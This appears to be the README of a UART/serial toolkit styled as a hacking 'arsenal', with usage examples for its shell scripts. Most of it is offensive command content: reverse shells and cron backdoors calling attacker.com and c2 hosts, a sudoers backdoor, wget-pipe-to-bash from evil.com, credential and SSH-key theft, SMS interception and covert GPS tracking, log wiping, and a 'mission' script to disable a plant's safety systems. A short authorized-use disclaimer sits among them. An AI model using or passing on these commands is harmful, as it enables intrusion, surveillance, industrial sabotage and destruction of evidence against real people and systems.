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[*] Initializing secure channel...
[*] Establishing encrypted connection...
[✓] Connection established
[✓] Root access granted
> CLASSIFIED: LEVEL 5 CLEARANCE REQUIRED
> UNAUTHORIZED ACCESS WILL BE PROSECUTED
> ALL ACTIVITY IS LOGGED AND MONITORED
New to this project? Start here: development.md
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| README.md 🔐 | Arsenal overview, attack scenarios, usage examples | Everyone |
I want to...
- 🚀 Get started → Read development.md - Installation
- 🔧 Understand the architecture → See development.md - Architecture
- 📚 See all available commands → Check development.md - Core Utilities
- 📝 Edit files line-by-line → See development.md - file-editor.sh
- ⚙️ Configure everything → Look at development.md - Configuration
- 🤔 Fix a problem → Visit development.md - Troubleshooting
- 💻 Write code/contribute → Check CONTRIBUTING.md
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USER: root@xploitoverload
HOST: xploitoverload
PATH: ~/UART-Tools
TIME: [REDACTED]
> You're in. But remember, with great power comes great responsibility.
> These tools can control embedded systems, flash firmware, and execute
> arbitrary code on target devices. Use them wisely.
- Kalpesh Solanki
| Document | Purpose | Read More |
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| LICENSE | MIT License & Legal Disclaimer | Licensing terms and liability disclaimer |
| CONTRIBUTING.md | How to Contribute | Guidelines for submitting pull requests, bug reports, and enhancements |
| development.md | Developer Guide | Complete technical documentation, API reference, architecture, and implementation details |
- 🔒 View Full License - MIT License with liability disclaimer
- 🤝 Contributing Guidelines - Code of conduct, pull request process, styleguides
- 📖 Development Guide - Architecture, API reference, configuration, troubleshooting
- Overview - Features and use cases
- Architecture - Design principles and components
- Installation - System requirements and setup
- Core Utilities - Detailed documentation for each tool
- time-sync.sh, file-transfer.sh, rce.sh, fw-update.sh, logger.sh, AT.sh, file-editor.sh
- API Reference - Exit codes and environment variables
- Configuration - Configuration files and precedence
- Development Guide - Code style guidelines
- Testing - Unit and integration testing
- Performance - Benchmarks and optimization
- Troubleshooting - Common issues and solutions
- Contributing - How to contribute
- Advanced Topics - systemd, udev, CI/CD integration
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│ PAYLOAD │ DESCRIPTION │
├──────────────────────────────────────────────────────────────┤
│ time-sync.sh │ Time manipulation exploit │
│ file-transfer.sh │ Covert data exfiltration │
│ rce.sh │ Remote shell injection │
│ fw-update.sh │ Firmware implant installer │
│ logger.sh │ Traffic intercept & analysis │
│ AT.sh │ AT command control & exploitation │
│ file-editor.sh │ On-device / local file manipulation│
│ menu.sh │ Command & control interface │
└──────────────────────────────────────────────────────────────┘
time-sync.sh - Synchronize system clocks for coordinated attacks
[root@xploitoverload]# ./time-sync.sh -v
[*] Probing target device...
[*] Injecting timestamp payload...
[✓] Time synchronized
[*] Target ready for synchronized exploitationCAPABILITIES:
- Clock desynchronization attacks
- Timestamp forgery
- Certificate validation bypass
- Log file manipulation
file-transfer.sh - Extract sensitive data via serial channel
[root@xploitoverload]# ./file-transfer.sh send payload.bin
[*] Establishing covert channel...
[*] Protocol: ZMODEM (encrypted)
[*] Transferring classified data...
[████████████████████████████████] 100%
[✓] Exfiltration complete
[*] Covering tracks...PROTOCOLS:
ZMODEM- Fast, stealthy, error-correctingYMODEM- Batch transfers, evades detectionXMODEM- Slow but reliableRAW- Direct memory dump
ATTACK VECTORS:
# Extract firmware
./file-transfer.sh receive target_firmware.bin
# Implant backdoor
./file-transfer.sh send rootkit.bin
# Exfiltrate logs
./file-transfer.sh receive /var/log/securerce.sh - Execute arbitrary commands on target
[root@xploitoverload]# ./rce.sh shell
[*] Establishing reverse shell...
[*] Bypassing authentication...
[✓] Shell access granted
[target@device]> whoami
root
[target@device]> uname -a
Linux embedded-target 4.19.0 #1 SMP ARM
[target@device]> cat /etc/shadow
[REDACTED]ATTACK MODES:
# Execute single command
./rce.sh exec "cat /etc/passwd"
# Deploy attack script
./rce.sh script exploit.sh
# Interactive backdoor
./rce.sh -i
# Silent monitoring
./rce.sh monitorSCRIPT PAYLOAD EXAMPLE:
# exploit.sh - Privilege escalation
@sleep 1
echo "Escalating privileges..."
exploit_cve_2024_xxxx
@wait 10
cat /root/.ssh/id_rsa
@sleep 2
rm -rf /var/log/* # Clean tracksfw-update.sh - Deploy persistent backdoors
[root@xploitoverload]# ./fw-update.sh update backdoored_firmware.bin
[!] WARNING: This will replace target firmware
[*] Creating backup for forensics...
[*] Entering bootloader mode...
[*] Flashing malicious firmware...
[████████████████████████████████] 100%
[*] Verifying implant integrity...
[✓] Backdoor successfully installed
[*] Target will reboot with root access enabledCAPABILITIES:
- Persistent backdoor installation
- Bootloader exploitation
- Firmware rootkits
- Hardware trojans
- Anti-forensics (backup before modification)
ATTACK CHAIN:
# 1. Backup original firmware (for later restoration)
./fw-update.sh backup original_fw.bin
# 2. Deploy backdoored firmware
./fw-update.sh update malicious_fw.bin
# 3. Verify backdoor is active
./fw-update.sh info | grep "backdoor_version"
# 4. Establish persistent access
./rce.sh exec "nc -e /bin/sh attacker.com 4444"logger.sh - Intercept and analyze serial communications
[root@xploitoverload]# ./logger.sh monitor
[*] Initiating packet capture...
[*] Sniffing UART traffic on /dev/ttyUSB0
[*] All data is being logged...
[2024-02-12 03:14:15] [LOGIN] user=admin pass=[REDACTED]
[2024-02-12 03:14:17] [CMD] executing: rm -rf /evidence/*
[2024-02-12 03:14:20] [ERROR] Authentication failed
[2024-02-12 03:14:25] [WARN] Intrusion detected at 192.168.1.100SURVEILLANCE MODES:
# Live monitoring with filtering
./logger.sh -f "password|secret|key" monitor
# Capture credentials
./logger.sh grep "user.*pass"
# Hex dump for binary analysis
./logger.sh -x monitor > binary_dump.hex
# Statistics gathering
./logger.sh stats 5
# Forensic capture
./logger.sh capture 3600 # 1 hour surveillancePOST-EXPLOITATION ANALYSIS:
# Analyze captured traffic
./logger.sh analyze captured_traffic.log
=== INTELLIGENCE GATHERED ===
Credentials found: 7
Private keys: 2
SQL queries: 143
API tokens: 5
Encryption keys: 1uart_menu.sh - Unified attack interface
[root@xploitoverload]# ./uart_menu.sh
╔═══════════════════════════════════════════════════════════╗
║ ║
║ UART EXPLOITATION FRAMEWORK ║
║ [ AUTHORIZED ACCESS ONLY ] ║
║ ║
╚═══════════════════════════════════════════════════════════╝
[1] Time Manipulation - Desync target clocks
[2] Data Exfiltration - Extract classified files
[3] Remote Shell - Execute arbitrary code
[4] Firmware Implant - Install persistent backdoor
[5] Traffic Intercept - Monitor communications
[6] AT Command Control - Cellular & modem exploitation
[7] File Editor - Line-by-line file manipulation
[d] Target Discovery - Scan for devices
[c] Configure Attack - Set parameters
Select your weapon: _AT.sh - Cellular/Modem exploitation and control
[root@xploitoverload]# ./AT.sh test
[*] Probing modem device...
[*] Sending AT handshake...
[✓] AT connection established
[✓] Device is responsive
[*] SIM status: OK
[*] Signal strength: -75 dBmCAPABILITIES:
- Modem/Cellular device control
- SIM/Network status enumeration
- SMS interception and sending
- GPS location tracking
- Signal quality monitoring
- Network operator enumeration
- WiFi network scanning (ESP32/ESP8266)
- Custom command injection
ATTACK VECTORS:
# Network intelligence gathering
./AT.sh network-status
./AT.sh operator
./AT.sh signal-quality
# SMS interception
./AT.sh sms-list UNREAD
./AT.sh sms-list ALL
# GPS location tracking
./AT.sh gps-on
./AT.sh gps-info
# Send SMS backdoor activation
./AT.sh sms-send "+1234567890" "ACTIVATE_BACKDOOR"
# Custom AT commands
./AT.sh send "AT+CIFSR" # IP address
./AT.sh send "AT+CREG?" # Network registration
./AT.sh send "AT+CBC" # Battery status
# Create custom exploit commands
./AT.sh add-custom "extract_location" "at" "AT+CGPSINFO"
./AT.sh add-custom "trigger_sms" "bash" "echo 'sms sent' | nc attacker.com 4444"EXPLOITATION WORKFLOW:
# 1. Identify target modem
./AT.sh -b 9600 test
./AT.sh -b 19200 test
./AT.sh -b 115200 test
# 2. Gather intelligence
echo "[*] Extracting device info..."
./AT.sh info
./AT.sh list-commands
# 3. Monitor network activity
echo "[*] Monitoring network..."
./AT.sh network-status
./AT.sh signal-quality
# 4. Intercept communications
echo "[*] Checking SMS messages..."
./AT.sh sms-list UNREAD
# 5. Deploy backdoor via custom commands
echo "[*] Installing persistence..."
./AT.sh add-custom "persistence" "bash" "./rce.sh shell &"
# 6. Track location silently
echo "[*] Activating GPS..."
./AT.sh gps-on
./AT.sh gps-info | nc attacker.com 5555ADVANCED EXPLOITATION:
# Firmware profiling
./AT.sh info | grep -i "firmware\|version"
# GPS coordinates extraction
./AT.sh gps-on
while true; do
./AT.sh gps-info | grep -oP 'Lat:\K[^,]+|Lon:\K[^,]+' | tr '\n' ',' >> location_log.txt
sleep 10
done
# Network enumeration
./AT.sh list-operators # List all available networks
./AT.sh operator # Current network info
# WiFi scanning (IoT devices)
./AT.sh send "AT+CWLAP" # List available WiFi networksfile-editor.sh - Line-by-line file editing on target or localhost
[root@xploitoverload]# ./file-editor.sh -f /etc/passwd view
[*] Loading target file...
[✓] File loaded: /etc/passwd (32 lines)
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...CAPABILITIES:
- Append / prepend full lines to any file
- Insert a new line before or after any line number
- Replace an entire line in-place
- Delete a single line or a range of lines
- Append / prepend text inline to an existing line
- Global literal find-and-replace across the whole file
- Global regex find-and-replace
- Automatic timestamped backups before every write
- One-step undo (restore previous backup)
ATTACK VECTORS:
# Backdoor /etc/sudoers
./file-editor.sh -f /etc/sudoers append "operator ALL=(ALL) NOPASSWD:ALL"
# Inject cron entry at line 3
./file-editor.sh -f /etc/crontab insert-after 2 "* * * * * root nc -e /bin/sh c2.server 443"
# Remove evidence line
./file-editor.sh -f /var/log/auth.log delete 47
# Patch a line in a config file
./file-editor.sh -f /etc/ssh/sshd_config replace 15 "PermitRootLogin yes"
# Append inline to an existing line
./file-editor.sh -f /etc/hosts append-to 1 " malicious.host"
# Bulk text replacement
./file-editor.sh -f config.yaml find-replace "prod-api.internal" "evil.server.com"
# Regex replacement
./file-editor.sh -f app.conf find-replace-regex "password=.*" "password=REDACTED"
# Interactive mode (full TUI menu)
./file-editor.shINTERACTIVE MENU OPTIONS:
[s] Select target file [n] Create new file
[v] View all lines [r] View line range
[a] Append to end [p] Prepend to start
[ia] Insert after line N [ib] Insert before line N
[d] Delete line [dr] Delete range
[rl] Replace line [al] Append to line N
[pl] Prepend to line N [f] Find & replace (literal)
[fr] Find & replace (regex) [u] Undo last change
# Scan for vulnerable targets
./uart_menu.sh
> Press 'd' for device detection
[*] Scanning network...
[*] Found: /dev/ttyUSB0 (FTDI USB Serial)
[*] Found: /dev/ttyACM0 (Arduino Bootloader)
[*] Target acquired: /dev/ttyUSB0# Set up attack parameters
export UART_PORT=/dev/ttyUSB0
export BAUD_UART=115200
# Test AT command interface
./AT.sh test
# Test connectivity
./logger.sh tail
[*] Monitoring target...
[*] Target is responsive
[✓] Ready for exploitation# Establish persistence
./fw-update.sh update backdoor.bin
# Deploy remote access
./rce.sh script persistence.sh
# Monitor for counter-measures
./logger.sh -f "detect|intrusion|alert" monitor#!/bin/bash
# Mission: Disable manufacturing plant
# 1. Intercept PLC communications
./logger.sh capture 60 -o plc_traffic.log
# 2. Analyze control sequences
./logger.sh analyze plc_traffic.log
# 3. Inject malicious commands
./rce.sh exec "STOP_ALL_MOTORS"
./rce.sh exec "DISABLE_SAFETY_SYSTEMS"
# 4. Cover tracks
./rce.sh exec "rm -rf /var/log/*"#!/bin/bash
# Mission: Exfiltrate classified documents
# 1. Gain shell access
./rce.sh shell
# 2. Locate sensitive data
[target]> find / -name "*.pdf" -o -name "*.doc"
# 3. Compress for transfer
[target]> tar czf /tmp/classified.tgz /documents/
# 4. Exfiltrate via covert channel
./file-transfer.sh receive /tmp/classified.tgz
# 5. Clean evidence
[target]> shred -vfz -n 10 /tmp/classified.tgz#!/bin/bash
# Mission: Install persistent access
# 1. Backup original (for deniability)
./fw-update.sh backup original.bin
# 2. Modify firmware offline
modify_firmware original.bin backdoored.bin
# 3. Flash compromised firmware
./fw-update.sh update backdoored.bin
# 4. Verify backdoor
./rce.sh exec "test_backdoor"
[✓] Backdoor active
# 5. Establish C2 channel
./rce.sh exec "nc -e /bin/sh c2.server.com 443"# Always clean your tracks
./rce.sh exec "history -c"
./rce.sh exec "rm ~/.bash_history"
./rce.sh exec "echo > /var/log/auth.log"
./rce.sh exec "echo > /var/log/syslog"
# Disable logging before attack
./rce.sh exec "service syslog stop"
./rce.sh exec "service rsyslog stop"# Encrypt exfiltrated data
./file-transfer.sh receive secrets.tar.gz
gpg -c secrets.tar.gz
shred -vfz secrets.tar.gz
# Use VPN/Tor for C2
./rce.sh exec "torify nc c2.onion 443"# Desync logs to confuse investigators
./time-sync.sh # Set wrong time
# Perform attack
./time-sync.sh # Restore correct time# Always backup before modification
./fw-update.sh backup original_fw.bin
# Use common/legitimate tools
# (These scripts look like dev tools, not attack tools)DEFENSIVE MEASURES YOU MAY ENCOUNTER:
[×] Physical security - Locked serial ports
[×] Authentication - Password-protected bootloaders
[×] Encryption - Encrypted serial communications
[×] IDS/IPS - Intrusion detection on serial traffic
[×] Firmware signing - Prevents unauthorized firmware
[×] Rate limiting - Prevents brute force
[×] Logging - All activity monitored
BYPASS TECHNIQUES:
[✓] Physical access - Pick locks, social engineering
[✓] Default credentials - admin/admin, root/root
[✓] Side-channel attacks - Power analysis, timing
[✓] Hardware debugging - JTAG, SWD interfaces
[✓] Bootloader exploits - CVE databases
[✓] Protocol fuzzing - Find edge cases
[✓] Log injection - Poison log files
┌─────────────────────────────────────────────────────────────┐
│ │
│ ⚠️ WARNING: AUTHORIZED USE ONLY ⚠️ │
│ │
│ These tools are provided for: │
│ • Authorized penetration testing │
│ • Security research in controlled environments │
│ • Educational purposes only │
│ • Legitimate embedded systems development │
│ │
│ UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL │
│ │
│ Violations may result in: │
│ • Federal prosecution under CFAA │
│ • Civil lawsuits │
│ • Imprisonment │
│ • Hefty fines │
│ │
│ By using these tools, you agree to: │
│ • Obtain written authorization before testing │
│ • Use only on systems you own or have permission │
│ • Comply with all applicable laws │
│ • Accept full responsibility for your actions │
│ │
│ The authors assume NO LIABILITY for misuse │
│ │
└─────────────────────────────────────────────────────────────┘
"I'm only supposed to be the key that unlocks the door.
What you do once you're inside is up to you."
- xploitoverload
# Clone the arsenal
git clone https://github.com/xploitoverload/UART-Tools.git
cd UART-Tools
# Install dependencies
sudo apt-get update
sudo apt-get install -y coreutils stty psmisc lrzsz
# Grant permissions
chmod +x *.sh
# Add to PATH (optional)
echo 'export PATH=$PATH:'$(pwd) >> ~/.bashrc
source ~/.bashrc
# Verify installation
./uart_menu.sh
[✓] All systems operational
[✓] Ready for deploymentTESTED ON:
├── Raspberry Pi (ARM)
├── Arduino (AVR)
├── ESP32/ESP8266
├── STM32 (ARM Cortex-M)
├── BeagleBone
├── Industrial PLCs
├── Network equipment (routers, switches)
├── IoT devices
├── Medical devices
├── Automotive ECUs
└── Any device with UART/RS-232 interface
OPERATING SYSTEMS:
├── Linux (Ubuntu, Debian, Kali, Parrot)
├── macOS
└── Windows (via WSL)
PROTOCOLS SUPPORTED:
├── UART/RS-232
├── RS-485 (with adapter)
├── XMODEM/YMODEM/ZMODEM
└── Raw binary
# Find SUID binaries
./rce.sh exec "find / -perm -4000 2>/dev/null"
# Exploit kernel vulnerability
./file-transfer.sh send kernel_exploit.c
./rce.sh exec "gcc -o exploit kernel_exploit.c"
./rce.sh exec "./exploit"
# Extract root password hash
./rce.sh exec "cat /etc/shadow"# Install cron backdoor
./rce.sh exec "echo '* * * * * nc attacker.com 4444 -e /bin/sh' | crontab -"
# Modify init scripts
./file-transfer.sh send backdoor.sh
./rce.sh exec "mv backdoor.sh /etc/init.d/"
./rce.sh exec "update-rc.d backdoor.sh defaults"
# Firmware-level persistence
./fw-update.sh update persistent_backdoor.bin# Discover network
./rce.sh exec "ip addr"
./rce.sh exec "nmap -sn 192.168.1.0/24"
# Pivot to internal network
./rce.sh exec "ssh -D 9050 user@internal-server"
# Exfiltrate from isolated network
./file-transfer.sh receive internal_secrets.tar.gzERROR: Permission denied
└─> Solution: sudo usermod -a -G dialout $USER
ERROR: Port not found
└─> Solution: lsusb && dmesg | grep tty
ERROR: Device not responding
└─> Solution: Try different baud rate (9600, 115200)
ERROR: Transfer failed
└─> Solution: Use more reliable protocol (XMODEM)
ERROR: Command timeout
└─> Solution: Increase timeout with -t flag
ERROR: Firmware verification failed
└─> Solution: Use --no-verify (dangerous!)
# Disable system logging
./rce.sh exec "service syslog stop"
./rce.sh exec "service auditd stop"
# Clear command history
./rce.sh exec "unset HISTFILE"
./rce.sh exec "history -c"
# Wipe log files
./rce.sh exec "for log in /var/log/*.log; do echo > \$log; done"
# Modify timestamps
./time-sync.sh # Set fake time
# Perform attack
./time-sync.sh # Restore time
# Shred sensitive files
./rce.sh exec "shred -vfz -n 35 /tmp/evidence.txt"
# Use memory-only payloads (no disk writes)
./rce.sh exec "wget http://evil.com/script.sh -O - | bash"LEARNING:
├── Serial Programming HOWTO
├── UART Protocol Specification
├── Bootloader Exploitation Techniques
├── Firmware Analysis Guides
└── Hardware Hacking Tutorials
COMMUNITIES:
├── /r/hacking
├── /r/netsec
├── HackTheBox
├── TryHackMe
└── Hack The Planet Forums
TOOLS:
├── Binwalk (firmware analysis)
├── Ghidra (reverse engineering)
├── OpenOCD (JTAG debugging)
├── Logic Analyzer (protocol analysis)
└── Flipper Zero (hardware hacking)
CVE DATABASES:
├── NVD (nvd.nist.gov)
├── Exploit-DB
├── CVE Details
└── GitHub Security Advisories
SECURE COMMUNICATIONS ONLY:
PGP Key: [REDACTED]
Tor Hidden Service: [REDACTED].onion
ProtonMail: [REDACTED]@protonmail.com
Signal: [REDACTED]
DO NOT:
• Use clearnet email for sensitive topics
• Discuss illegal activities
• Share 0-day exploits publicly
• Reveal identities
"We're xploitoverload. We're everywhere."
This project is licensed under the MIT License. For complete legal information, licensing terms, and liability disclaimers, please refer to:
Key points:
- ✅ Free for commercial and personal use
- ✅ Open source and modifiable
⚠️ Use responsibly and legally⚠️ No warranty provided⚠️ Unauthorized access is illegal
Want to contribute? We welcome bug reports, feature suggestions, and pull requests!
Includes:
- 🐛 Bug reporting guidelines
- ✨ Feature request process
- 📝 Code styleguides
- ✅ Testing requirements
- 🔄 Pull request workflow
For in-depth technical documentation, architecture details, API reference, and comprehensive guides:
Topics covered:
- 🏗️ Architecture and design principles
- 🛠️ Installation and setup
- 📖 Complete API reference
- ⚙️ Configuration management
- 🧪 Testing strategies
- ⚡ Performance optimization
- 🔧 Troubleshooting guide
- 🔐 Security considerations
- 🐳 Docker integration
- 🤖 CI/CD setup
- 📱 systemd integration
- 🎯 Advanced topics
| File | Purpose | Audience |
|---|---|---|
| README.md | Project overview and arsenal | Everyone |
| LICENSE | Legal terms and liability | Legal/Compliance |
| CONTRIBUTING.md | Contribution guidelines | Contributors |
| development.md | Technical documentation | Developers |
This toolkit exists because:
"The world is a dangerous place, not because of those who do evil,
but because of those who look on and do nothing."
- Albert Einstein
"Information wants to be free."
- Stewart Brand
"Hackers are not criminals. We're security researchers."
- Kevin Mitnick
Special thanks to:
• The free software community
• Security researchers worldwide
• Everyone who believes in ethical hacking
• Coffee ☕
Stay anonymous. Stay safe. Hack the planet.
- Kalpesh | xploitoverload
[root@xploitoverload]# logout
> Session terminated
> Logs erased
> Connection closed
> "Hello, friend..."